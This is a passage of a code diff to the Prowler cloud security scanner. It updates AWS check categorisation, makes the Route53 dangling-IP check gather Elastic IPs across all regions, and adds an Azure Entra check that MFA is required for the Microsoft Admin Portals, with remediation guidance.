Checks/AWS Security Best Practices/Network Reachability", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices" + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices" ], "ServiceName": "ec2", "SubServiceName": "", diff --git a/prowler/providers/aws/services/elasticache/elasticache_cluster_uses_public_subnet/elasticache_cluster_uses_public_subnet.metadata.json b/prowler/providers/aws/services/elasticache/elasticache_cluster_uses_public_subnet/elasticache_cluster_uses_public_subnet.metadata.json index fd03b1ed54..297649291f 100644 --- a/prowler/providers/aws/services/elasticache/elasticache_cluster_uses_public_subnet/elasticache_cluster_uses_public_subnet.metadata.json +++ b/prowler/providers/aws/services/elasticache/elasticache_cluster_uses_public_subnet/elasticache_cluster_uses_public_subnet.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "ElastiCache cluster is not using public subnets", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Network Reachability", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Data Exposure" ], "ServiceName": "elasticache", diff --git a/prowler/providers/aws/services/eventbridge/eventbridge_bus_cross_account_access/eventbridge_bus_cross_account_access.metadata.json b/prowler/providers/aws/services/eventbridge/eventbridge_bus_cross_account_access/eventbridge_bus_cross_account_access.metadata.json index 5628f6ec62..2b2ae8e87c 100644 --- a/prowler/providers/aws/services/eventbridge/eventbridge_bus_cross_account_access/eventbridge_bus_cross_account_access.metadata.json +++ b/prowler/providers/aws/services/eventbridge/eventbridge_bus_cross_account_access/eventbridge_bus_cross_account_access.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "AWS EventBridge event bus does not allow cross-account access", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Initial Access/Unauthorized Access", "Effects/Data Exposure" ], diff --git a/prowler/providers/aws/services/guardduty/guardduty_delegated_admin_enabled_all_regions/guardduty_delegated_admin_enabled_all_regions.metadata.json b/prowler/providers/aws/services/guardduty/guardduty_delegated_admin_enabled_all_regions/guardduty_delegated_admin_enabled_all_regions.metadata.json index b08114efa8..6ebfa056ad 100644 --- a/prowler/providers/aws/services/guardduty/guardduty_delegated_admin_enabled_all_regions/guardduty_delegated_admin_enabled_all_regions.metadata.json +++ b/prowler/providers/aws/services/guardduty/guardduty_delegated_admin_enabled_all_regions/guardduty_delegated_admin_enabled_all_regions.metadata.json @@ -13,7 +13,7 @@ "ResourceType": "AwsGuardDutyDetector", "ResourceGroup": "security", "Description": "**Amazon GuardDuty** has a delegated administrator configured at the organization level, detectors are enabled in all opted-in regions, and organization auto-enable is active for new member accounts.", - "Risk": "Without org-wide **Amazon GuardDuty** configuration, gaps can occur where **GuardDuty** may be enabled in some regions but not others. Delegated admin may not be set consistently, and new accounts may not be automatically enrolled. This fragments **threat visibility**, delays **incident response**, and allows adversaries to exploit unmonitored regions or accounts for **lateral movement**, **persistence**, and **data exfiltration**.", + "Risk": "Without org-wide **Amazon GuardDuty** configuration, gaps can occur where detectors are enabled in some regions but not others, delegated admin is inconsistent, and new accounts are not auto-enrolled. This fragments **threat visibility**, delays **incident response**, and allows adversaries to exploit unmonitored regions or accounts for **lateral movement** and **data exfiltration**.", "RelatedUrl": "", "AdditionalURLs": [ "https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_organizations.html", diff --git a/prowler/providers/aws/services/iam/iam_aws_attached_policy_no_administrative_privileges/iam_aws_attached_policy_no_administrative_privileges.metadata.json b/prowler/providers/aws/services/iam/iam_aws_attached_policy_no_administrative_privileges/iam_aws_attached_policy_no_administrative_privileges.metadata.json index 9c1b95c551..6bad6e8b0e 100644 --- a/prowler/providers/aws/services/iam/iam_aws_attached_policy_no_administrative_privileges/iam_aws_attached_policy_no_administrative_privileges.metadata.json +++ b/prowler/providers/aws/services/iam/iam_aws_attached_policy_no_administrative_privileges/iam_aws_attached_policy_no_administrative_privileges.metadata.json @@ -4,8 +4,8 @@ "CheckTitle": "Attached AWS-managed IAM policy does not allow '*:*' administrative privileges", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", - "Industry and Regulatory Standards/CIS AWS Foundations Benchmark", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/CIS AWS Foundations Benchmark", "TTPs/Privilege Escalation" ], "ServiceName": "iam", diff --git a/prowler/providers/aws/services/iam/iam_inline_policy_no_full_access_to_kms/iam_inline_policy_no_full_access_to_kms.metadata.json b/prowler/providers/aws/services/iam/iam_inline_policy_no_full_access_to_kms/iam_inline_policy_no_full_access_to_kms.metadata.json index 36b2875172..b49eb0a914 100644 --- a/prowler/providers/aws/services/iam/iam_inline_policy_no_full_access_to_kms/iam_inline_policy_no_full_access_to_kms.metadata.json +++ b/prowler/providers/aws/services/iam/iam_inline_policy_no_full_access_to_kms/iam_inline_policy_no_full_access_to_kms.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Inline IAM policy does not allow kms:* privileges", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Privilege Escalation", "Effects/Data Exposure" ], diff --git a/prowler/providers/aws/services/iam/iam_user_with_temporary_credentials/iam_user_with_temporary_credentials.metadata.json b/prowler/providers/aws/services/iam/iam_user_with_temporary_credentials/iam_user_with_temporary_credentials.metadata.json index 9bf82258ab..e7fcf72387 100644 --- a/prowler/providers/aws/services/iam/iam_user_with_temporary_credentials/iam_user_with_temporary_credentials.metadata.json +++ b/prowler/providers/aws/services/iam/iam_user_with_temporary_credentials/iam_user_with_temporary_credentials.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "IAM user does not use long-lived credentials to access services other than IAM or STS", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Runtime Behavior Analysis", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Credential Access" ], "ServiceName": "iam", diff --git a/prowler/providers/aws/services/inspector2/inspector2_active_findings_exist/inspector2_active_findings_exist.metadata.json b/prowler/providers/aws/services/inspector2/inspector2_active_findings_exist/inspector2_active_findings_exist.metadata.json index 66785d6c32..c3efa80e97 100644 --- a/prowler/providers/aws/services/inspector2/inspector2_active_findings_exist/inspector2_active_findings_exist.metadata.json +++ b/prowler/providers/aws/services/inspector2/inspector2_active_findings_exist/inspector2_active_findings_exist.metadata.json @@ -9,7 +9,7 @@ "Software and Configuration Checks/Vulnerabilities/CVE", "Software and Configuration Checks/Patch Management", "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices" + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices" ], "ServiceName": "inspector2", "SubServiceName": "", diff --git a/prowler/providers/aws/services/kafka/kafka_cluster_encryption_at_rest_uses_cmk/kafka_cluster_encryption_at_rest_uses_cmk.metadata.json b/prowler/providers/aws/services/kafka/kafka_cluster_encryption_at_rest_uses_cmk/kafka_cluster_encryption_at_rest_uses_cmk.metadata.json index 2d28190572..bc8313049e 100644 --- a/prowler/providers/aws/services/kafka/kafka_cluster_encryption_at_rest_uses_cmk/kafka_cluster_encryption_at_rest_uses_cmk.metadata.json +++ b/prowler/providers/aws/services/kafka/kafka_cluster_encryption_at_rest_uses_cmk/kafka_cluster_encryption_at_rest_uses_cmk.metadata.json @@ -4,9 +4,9 @@ "CheckTitle": "Kafka cluster has encryption at rest enabled with a customer managed key (CMK) or is serverless", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Data Encryption", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", - "Industry and Regulatory Standards/NIST 800-53 Controls (USA)", - "Industry and Regulatory Standards/PCI-DSS", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/NIST 800-53 Controls (USA)", + "Software and Configuration Checks/Industry and Regulatory Standards/PCI-DSS", "Effects/Data Exposure" ], "ServiceName": "kafka", diff --git a/prowler/providers/aws/services/kms/kms_key_not_publicly_accessible/kms_key_not_publicly_accessible.metadata.json b/prowler/providers/aws/services/kms/kms_key_not_publicly_accessible/kms_key_not_publicly_accessible.metadata.json index 2beb86eb11..5bbb4b0750 100644 --- a/prowler/providers/aws/services/kms/kms_key_not_publicly_accessible/kms_key_not_publicly_accessible.metadata.json +++ b/prowler/providers/aws/services/kms/kms_key_not_publicly_accessible/kms_key_not_publicly_accessible.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Cloud KMS key does not grant access to allUsers or allAuthenticatedUsers", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Initial Access/Unauthorized Access", "Effects/Data Exposure" ], diff --git a/prowler/providers/aws/services/neptune/neptune_cluster_deletion_protection/neptune_cluster_deletion_protection.metadata.json b/prowler/providers/aws/services/neptune/neptune_cluster_deletion_protection/neptune_cluster_deletion_protection.metadata.json index dcfd7730b1..cce180b583 100644 --- a/prowler/providers/aws/services/neptune/neptune_cluster_deletion_protection/neptune_cluster_deletion_protection.metadata.json +++ b/prowler/providers/aws/services/neptune/neptune_cluster_deletion_protection/neptune_cluster_deletion_protection.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Neptune cluster has deletion protection enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Data Destruction" ], "ServiceName": "neptune", diff --git a/prowler/providers/aws/services/rds/rds_cluster_multi_az/rds_cluster_multi_az.metadata.json b/prowler/providers/aws/services/rds/rds_cluster_multi_az/rds_cluster_multi_az.metadata.json index 78a4e0c0cd..c2d4c654c4 100644 --- a/prowler/providers/aws/services/rds/rds_cluster_multi_az/rds_cluster_multi_az.metadata.json +++ b/prowler/providers/aws/services/rds/rds_cluster_multi_az/rds_cluster_multi_az.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "RDS cluster has Multi-AZ enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices" + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices" ], "ServiceName": "rds", "SubServiceName": "", diff --git a/prowler/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover.py b/prowler/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover.py index dca63d47ef..444f7dd2a2 100644 --- a/prowler/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover.py +++ b/prowler/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover.py @@ -12,19 +12,21 @@ class route53_dangling_ip_subdomain_takeover(Check): def execute(self) -> Check_Report_AWS: findings = [] + # When --region is used, Route53 service gathers EIPs from all regions + # to avoid false positives. Otherwise, use ec2_client data directly. + if route53_client.all_account_elastic_ips: + public_ips = list(route53_client.all_account_elastic_ips) + else: + public_ips = [eip.public_ip for eip in ec2_client.elastic_ips] + + # Add Network Interface public IPs from audited regions + for ni in ec2_client.network_interfaces.values(): + if ni.association and ni.association.get("PublicIp"): + public_ips.append(ni.association.get("PublicIp")) + for record_set in route53_client.record_sets: # Check only A records and avoid aliases (only need to check IPs not AWS Resources) if record_set.type == "A" and not record_set.is_alias: - # Gather Elastic IPs and Network Interfaces Public IPs inside the AWS Account - public_ips = [] - public_ips.extend([eip.public_ip for eip in ec2_client.elastic_ips]) - # Add public IPs from Network Interfaces - for network_interface in ec2_client.network_interfaces.values(): - if ( - network_interface.association - and network_interface.association.get("PublicIp") - ): - public_ips.append(network_interface.association.get("PublicIp")) for record in record_set.records: # Check if record is an IP Address if validate_ip_address(record): diff --git a/prowler/providers/aws/services/route53/route53_service.py b/prowler/providers/aws/services/route53/route53_service.py index 2e0eeb4499..bb579ca6ee 100644 --- a/prowler/providers/aws/services/route53/route53_service.py +++ b/prowler/providers/aws/services/route53/route53_service.py @@ -13,10 +13,20 @@ class Route53(AWSService): super().__init__(__class__.__name__, provider, global_service=True) self.hosted_zones = {} self.record_sets = [] + self.all_account_elastic_ips = [] self._list_hosted_zones() self._list_query_logging_configs() self._list_tags_for_resource() self._list_resource_record_sets() + # Gather Elastic IPs from all regions only when the --region flag is used, + # since EC2 service will only have EIPs from the specified region(s) but + # Route53 is global and can reference EIPs from any region. + if ( + "route53_dangling_ip_subdomain_takeover" + in provider.audit_metadata.expected_checks + and provider._identity.audited_regions + ): + self._get_all_region_elastic_ips() def _list_hosted_zones(self): logger.info("Route53 - Listing Hosting Zones...") @@ -77,6 +87,31 @@ class Route53(AWSService): f"{self.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}" ) + def _get_all_region_elastic_ips(self): + """Gather Elastic IPs from all enabled regions since Route53 is a global service. + + When running Prowler with --region, ec2_client.elastic_ips is scoped + to the specified region(s). Route53 records can reference EIPs from any + region, so we need to query all enabled regions to avoid false positives. + """ + logger.info("Route53 - Gathering Elastic IPs from all regions...") + all_regions = self.provider._enabled_regions or set( + self.provider._identity.audited_regions + ) + + for region in all_regions: + try: + regional_ec2_client = self.session.client("ec2", region_name=region) + for addr in regional_ec2_client.describe_addresses().get( + "Addresses", [] + ): + if "PublicIp" in addr: + self.all_account_elastic_ips.append(addr["PublicIp"]) + except Exception as error: + logger.warning( + f"{region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}" + ) + def _list_query_logging_configs(self): logger.info("Route53 - Listing Query Logging Configs...") try: diff --git a/prowler/providers/aws/services/s3/s3_bucket_object_versioning/s3_bucket_object_versioning.metadata.json b/prowler/providers/aws/services/s3/s3_bucket_object_versioning/s3_bucket_object_versioning.metadata.json index 0b5b42e789..f80f847545 100644 --- a/prowler/providers/aws/services/s3/s3_bucket_object_versioning/s3_bucket_object_versioning.metadata.json +++ b/prowler/providers/aws/services/s3/s3_bucket_object_versioning/s3_bucket_object_versioning.metadata.json @@ -4,8 +4,8 @@ "CheckTitle": "S3 bucket has object versioning enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", - "Industry and Regulatory Standards/CIS AWS Foundations Benchmark", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/CIS AWS Foundations Benchmark", "Effects/Data Destruction" ], "ServiceName": "s3", diff --git a/prowler/providers/aws/services/sagemaker/sagemaker_training_jobs_intercontainer_encryption_enabled/sagemaker_training_jobs_intercontainer_encryption_enabled.metadata.json b/prowler/providers/aws/services/sagemaker/sagemaker_training_jobs_intercontainer_encryption_enabled/sagemaker_training_jobs_intercontainer_encryption_enabled.metadata.json index db16d83a2b..5069c18fef 100644 --- a/prowler/providers/aws/services/sagemaker/sagemaker_training_jobs_intercontainer_encryption_enabled/sagemaker_training_jobs_intercontainer_encryption_enabled.metadata.json +++ b/prowler/providers/aws/services/sagemaker/sagemaker_training_jobs_intercontainer_encryption_enabled/sagemaker_training_jobs_intercontainer_encryption_enabled.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Amazon SageMaker training job has inter-container traffic encryption enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Network Security", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Data Exposure" ], "ServiceName": "sagemaker", diff --git a/prowler/providers/aws/services/shield/shield_advanced_protection_in_associated_elastic_ips/shield_advanced_protection_in_associated_elastic_ips.metadata.json b/prowler/providers/aws/services/shield/shield_advanced_protection_in_associated_elastic_ips/shield_advanced_protection_in_associated_elastic_ips.metadata.json index 31720c530c..c365bf17f0 100644 --- a/prowler/providers/aws/services/shield/shield_advanced_protection_in_associated_elastic_ips/shield_advanced_protection_in_associated_elastic_ips.metadata.json +++ b/prowler/providers/aws/services/shield/shield_advanced_protection_in_associated_elastic_ips/shield_advanced_protection_in_associated_elastic_ips.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Elastic IP address is protected by AWS Shield Advanced", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Network Reachability", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Denial of Service" ], "ServiceName": "shield", diff --git a/prowler/providers/aws/services/sqs/sqs_queues_server_side_encryption_enabled/sqs_queues_server_side_encryption_enabled.metadata.json b/prowler/providers/aws/services/sqs/sqs_queues_server_side_encryption_enabled/sqs_queues_server_side_encryption_enabled.metadata.json index 4e6d7b833b..46d7fd2109 100644 --- a/prowler/providers/aws/services/sqs/sqs_queues_server_side_encryption_enabled/sqs_queues_server_side_encryption_enabled.metadata.json +++ b/prowler/providers/aws/services/sqs/sqs_queues_server_side_encryption_enabled/sqs_queues_server_side_encryption_enabled.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "SQS queue has server-side encryption enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Data Exposure" ], "ServiceName": "sqs", diff --git a/prowler/providers/aws/services/vpc/vpc_endpoint_connections_trust_boundaries/vpc_endpoint_connections_trust_boundaries.metadata.json b/prowler/providers/aws/services/vpc/vpc_endpoint_connections_trust_boundaries/vpc_endpoint_connections_trust_boundaries.metadata.json index 9460f24bc1..5e76f071fa 100644 --- a/prowler/providers/aws/services/vpc/vpc_endpoint_connections_trust_boundaries/vpc_endpoint_connections_trust_boundaries.metadata.json +++ b/prowler/providers/aws/services/vpc/vpc_endpoint_connections_trust_boundaries/vpc_endpoint_connections_trust_boundaries.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "VPC endpoint policy allows access only from trusted AWS accounts", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Initial Access" ], "ServiceName": "vpc", diff --git a/prowler/providers/azure/config.py b/prowler/providers/azure/config.py index c9c9f4823a..e1aa257a97 100644 --- a/prowler/providers/azure/config.py +++ b/prowler/providers/azure/config.py @@ -1,7 +1,10 @@ from uuid import UUID -# Service management API +# Conditional Access target resource identifiers +# (Graph API includeApplications values) WINDOWS_AZURE_SERVICE_MANAGEMENT_API = "797f4846-ba00-4fd7-ba43-dac1f8f63013" +# Named app group — Graph API returns this literal string, not a GUID +MICROSOFT_ADMIN_PORTALS = "MicrosoftAdminPortals" # Authorization policy roles GUEST_USER_ACCESS_NO_RESTRICTICTED = UUID("a0b1b346-4d3e-4e8b-98f8-753987be4970") diff --git a/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/__init__.py b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals.metadata.json b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals.metadata.json new file mode 100644 index 0000000000..d12df2e5e6 --- /dev/null +++ b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals.metadata.json @@ -0,0 +1,38 @@ +{ + "Provider": "azure", + "CheckID": "entra_conditional_access_policy_require_mfa_for_admin_portals", + "CheckTitle": "Conditional Access policy requires MFA for Microsoft Admin Portals", + "CheckType": [], + "ServiceName": "entra", + "SubServiceName": "", + "ResourceIdTemplate": "", + "Severity": "medium", + "ResourceType": "NotDefined", + "ResourceGroup": "IAM", + "Description": "**Microsoft Entra Conditional Access** is evaluated for a policy that requires **multifactor authentication** when accessing **Microsoft Admin Portals** (Microsoft 365 Admin Center, Microsoft Entra Admin Center, Microsoft Exchange Admin Center, etc.). The check confirms an enabled policy targets **All users**, includes the Microsoft Admin Portals app, and enforces an **MFA** grant control.", + "Risk": "Without **MFA** on admin portals, attackers with stolen credentials can access **Microsoft 365 Admin Center**, **Entra Admin Center**, or **Exchange Admin Center** to modify tenant settings, escalate privileges, and exfiltrate data. This directly impacts **confidentiality**, **integrity**, and **availability** of all services managed through those portals.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/how-to-policy-mfa-admin-portals", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps" + ], + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "1. Sign in to the Microsoft Entra admin center\n2. Go to Protection > Conditional Access > Policies\n3. Click + New policy and enter a name\n4. Under Users > Include, select All users\n5. Under Exclude, check Users and groups and select break-glass / non-interactive service accounts\n6. Under Target resources > Include, click Select apps, then select Microsoft Admin Portals\n7. Under Grant, select Grant access and check Require multifactor authentication\n8. Set Enable policy to Report-only, click Create\n9. After testing, change Enable policy from Report-only to On", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\"\n\n conditions {\n users {\n included_users = [\"All\"]\n excluded_users = [\"\"]\n }\n applications {\n included_applications = [\"MicrosoftAdminPortals\"] # Critical: Microsoft Admin Portals\n }\n }\n\n grant_controls {\n operator = \"OR\"\n built_in_controls = [\"mfa\"] # Critical: requires MFA\n }\n}\n```" + }, + "Recommendation": { + "Text": "Create a **Conditional Access policy** that requires **MFA** for the **Microsoft Admin Portals** app targeting **All users**. Exclude only **break-glass** emergency accounts and non-interactive service principals. Test in **Report-only** mode before enforcing. Prefer **phishing-resistant** MFA methods (FIDO2, passkeys) and apply **least privilege** principles.", + "Url": "https://hub.prowler.com/check/entra_conditional_access_policy_require_mfa_for_admin_portals" + } + }, + "Categories": [ + "identity-access", + "e3" + ], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Conditional Access policies require Microsoft Entra ID P1 or P2 licenses. Similarly, they may require additional overhead to maintain if users lose access to their MFA. Any users or groups which are granted an exception to this policy should be carefully tracked, be granted only minimal necessary privileges, and conditional access exceptions should be regularly reviewed or investigated." +} diff --git a/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals.py b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals.py new file mode 100644 index 0000000000..30ba990ec6 --- /dev/null +++ b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals.py @@ -0,0 +1,44 @@ +from prowler.lib.check.models import Check, Check_Report_Azure +from prowler.providers.azure.config import MICROSOFT_ADMIN_PORTALS +from prowler.providers.azure.services.entra.entra_client import entra_client + + +class entra_conditional_access_policy_require_mfa_for_admin_portals(Check): + def execute(self) -> Check_Report_Azure: + findings = [] + + for ( + tenant_name, + conditional_access_policies, + ) in entra_client.conditional_access_policy.items(): + for policy in conditional_access_policies.values(): + if ( + policy.state == "enabled" + and "All" in policy.users["include"] + and MICROSOFT_ADMIN_PORTALS in policy.target_resources["include"] + and any( + "mfa" in access_control.lower() + for access_control in policy.access_controls["grant"] + ) + ): + report = Check_Report_Azure( + metadata=self.metadata(), resource=policy + ) + report.subscription = f"Tenant: {tenant_name}" + report.status = "PASS" + report.status_extended = "Conditional Access Policy requires MFA for Microsoft Admin Portals." + break + else: + report = Check_Report_Azure( + metadata=self.metadata(), + resource=conditional_access_policies, + ) + report.subscription = f"Tenant: {tenant_name}" + report.resource_name = "Conditional Access Policy" + report.resource_id = "Conditional Access Policy" + report.status = "FAIL" + report.status_extended = "Conditional Access Policy does not require MFA for Microsoft Admin Portals." + + findings.append(report) + + return findings diff --git a/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json index 89981231ad..6304f8676b 100644 --- a/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json +++ b/prowler/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json @@ -1,30 +1,36 @@ { "Provider": "azure", "CheckID": "entra_conditional_access_policy_require_mfa_for_management_api", - "CheckTitle": "Ensure Multifactor Authentication is Required for Windows Azure Service Management API", + "CheckTitle": "Multifactor Authentication is required for Windows Azure Service Management API", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "#microsoft.graph.conditionalAccess", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "This recommendation ensures that users accessing the Windows Azure Service Management API (i.e. Azure Powershell, Azure CLI, Azure Resource Manager API, etc.) are required to use multifactor authentication (MFA) credentials when accessing resources through the Windows Azure Service Management API.", - "Risk": "Administrative access to the Windows Azure Service Management API should be secured with a higher level of scrutiny to authenticating mechanisms. Enabling multifactor authentication is recommended to reduce the potential for abuse of Administrative actions, and to prevent intruders or compromised admin credentials from changing administrative settings.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/howto-conditional-access-policy-azure-management", + "Description": "**Microsoft Entra Conditional Access** is evaluated for a policy that requires **multifactor authentication** when accessing the **Windows Azure Service Management API** (Azure PowerShell, Azure CLI, Azure Resource Manager API, etc.). The check confirms an enabled policy targets **All users**, includes the Service Management API app, and enforces an **MFA** grant control.", + "Risk": "Without **MFA** on the Service Management API, attackers with stolen credentials can use **Azure CLI**, **PowerShell**, or the **Resource Manager API** to modify infrastructure, escalate privileges, and exfiltrate data. This directly impacts **confidentiality**, **integrity**, and **availability** of all Azure resources managed through the API.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/howto-conditional-access-policy-azure-management", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps" + ], "Remediation": { "Code": { "CLI": "", "NativeIaC": "", - "Other": "", - "Terraform": "" + "Other": "1. Sign in to the Microsoft Entra admin center\n2. Go to Protection > Conditional Access > Policies\n3. Click + New policy and enter a name\n4. Under Users > Include, select All users\n5. Under Exclude, check Users and groups and select break-glass / non-interactive service accounts\n6. Under Target resources > Include, click Select apps, then select Windows Azure Service Management API\n7. Under Grant, select Grant access and check Require multifactor authentication\n8. Set Enable policy to Report-only, click Create\n9. After testing, change Enable policy from Report-only to On", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\"\n\n conditions {\n users {\n included_users = [\"All\"]\n excluded_users = [\"\"]\n }\n applications {\n included_applications = [\"797f4846-ba00-4fd7-ba43-dac1f8f63013\"] # Critical: Windows Azure Service Management API\n }\n }\n\n grant_controls {\n operator = \"OR\"\n built_in_controls = [\"mfa\"] # Critical: requires MFA\n }\n}\n```" }, "Recommendation": { "Text": "1. From the Azure Admin Portal dashboard, open Microsoft Entra ID. 2. Click Security in the Entra ID blade. 3. Click Conditional Access in the Security blade. 4. Click Policies in the Conditional Access blade. 5. Click + New policy. 6. Enter a name for the policy. 7. Click the blue text under Users. 8. Under Include, select All users. 9. Under Exclude, check Users and groups. 10. Select users or groups to be exempted from this policy (e.g. break-glass emergency accounts, and non-interactive service accounts) then click the Select button. 11. Click the blue text under Target Resources. 12. Under Include, click the Select apps radio button. 13. Click the blue text under Select. 14. Check the box next to Windows Azure Service Management APIs then click the Select button. 15. Click the blue text under Grant. 16. Under Grant access check the box for Require multifactor authentication then click the Select button. 17. Before creating, set Enable policy to Report-only. 18. Click Create. After testing the policy in report-only mode, update the Enable policy setting from Report-only to On.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps" + "Url": "https://hub.prowler.com/check/entra_conditional_access_policy_require_mfa_for_management_api" } }, - "Categories": [], + "Categories": [ + "e3" + ], "DependsOn": [], "RelatedTo": [], "Notes": "Conditional Access policies require Microsoft Entra ID P1 or P2 licenses. Similarly, they may require additional overhead to maintain if users lose access to their MFA. Any users or groups which are granted an exception to this policy should be carefully tracked, be granted only minimal necessary privileges, and conditional access exceptions should be regularly reviewed or investigated." diff --git a/prowler/providers/azure/services/entra/entra_global_admin_in_less_than_five_users/entra_global_admin_in_less_than_five_users.metadata.json b/prowler/providers/azure/services/entra/entra_global_admin_in_less_than_five_users/entra_global_admin_in_less_than_five_users.metadata.json index 8c69462bac..6f05727fc3 100644 --- 